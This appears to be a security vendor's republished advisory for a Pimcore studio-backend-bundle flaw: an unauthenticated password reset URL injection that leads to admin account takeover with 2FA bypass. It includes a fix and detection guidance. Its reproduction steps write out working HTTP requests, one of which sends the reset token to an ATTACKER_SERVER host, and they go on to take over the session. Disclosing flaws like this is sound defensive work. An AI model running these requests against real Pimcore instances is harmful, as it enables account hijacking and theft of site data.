GHSA-h854-c3m3-mh5v is a high-severity (CVSS 8.8) CWE-640 vulnerability in pimcore/studio-backend-bundle. O3 Security confirms whether GHSA-h854-c3m3-mh5v is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Pimcore: Account Takeover via Password Reset URL Injection allows unauthenticated attacker to hijack any admin account with 2FA bypass
Real-World Exposure
pimcore/studio-backend-bundle🐘pimcore/studio-backend-bundleReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.
Vulnerability Details
Unauthenticated Endpoint Accepts Attacker URL
The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLIC_STUDIO_API voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.
final readonly class ResetPassword
{
public function __construct(
private string $username,
private string $resetPasswordUrl // attacker-controlled, no validation
) {}
}
Token Appended to Attacker URL
In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:
$token = $this->authenticationResolver->generateTokenByUser($user);
$loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;
The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.
Token Login Bypasses 2FA
src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:
$pimcoreUser->setTwoFactorAuthentication('required', false);
Token Validity
The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.
Steps to Reproduce
Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4.
1. Send password reset with attacker URL (no authentication needed)
POST /pimcore-studio/api/user/reset-password HTTP/1.1
Host: TARGET
Content-Type: application/json
{"username":"admin","resetPasswordUrl":"https://ATTACKER_SERVER:9999/steal"}
<img width="1756" height="882" alt="image" src="https://github.com/user-attachments/assets/9cb90c8e-6c08-4cd6-980a-822bbd35dc23" />
- Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB
2. Confirm token was generated
Database query shows the recovery token was created:
name has_token token_prefix
admin 1 def50200cdbd3c1292288a716c623f
3. Token login (after victim clicks the link in their email)
POST /pimcore-studio/api/login/token HTTP/1.1
Host: TARGET
Content-Type: application/json
{"token":"def50200cdbd3c1292288a716c623f...full_token..."}
Response:
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict
Set-Cookie: pimcore_studio_auth_profile_token=d7a9ad; path=/; httponly; samesite=lax
<img width="1756" height="679" alt="image" src="https://github.com/user-attachments/assets/53bf8f30-47c1-4398-b386-9929b77a35b5" />
4. Verify full admin access with the stolen session
GET /pimcore-studio/api/users HTTP/1.1
Host: TARGET
Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419
Response: HTTP/1.1 200 OK
{"totalItems":1,"items":[{"id":1,"username":"admin","additionalAttributes":[]}]}
<img width="1668" height="906" alt="image" src="https://github.com/user-attachments/assets/8f2b63b0-6357-4fe6-9689-35eb891de5ab" />
Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.
Impact
An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.
The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).
Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.
Recommended Fix
Remove the resetPasswordUrl parameter entirely and construct the URL server-side from the configured system domain:
$loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;
If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.
Supporting Materials
- Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4)
- Package:
pimcore/studio-backend-bundle - Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | pimcore/studio-backend-bundle | all versions | 2025.4.6 |
| 🐘Packagist | pimcore/studio-backend-bundle | ≥ 2026.1.0&&< 2026.1.6 | 2026.1.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pimcore/studio-backend-bundle. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pimcore/studio-backend-bundle to 2025.4.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h854-c3m3-mh5v is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-h854-c3m3-mh5v is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-h854-c3m3-mh5v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-h854-c3m3-mh5v in your dependencies?
O3 detects GHSA-h854-c3m3-mh5v across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.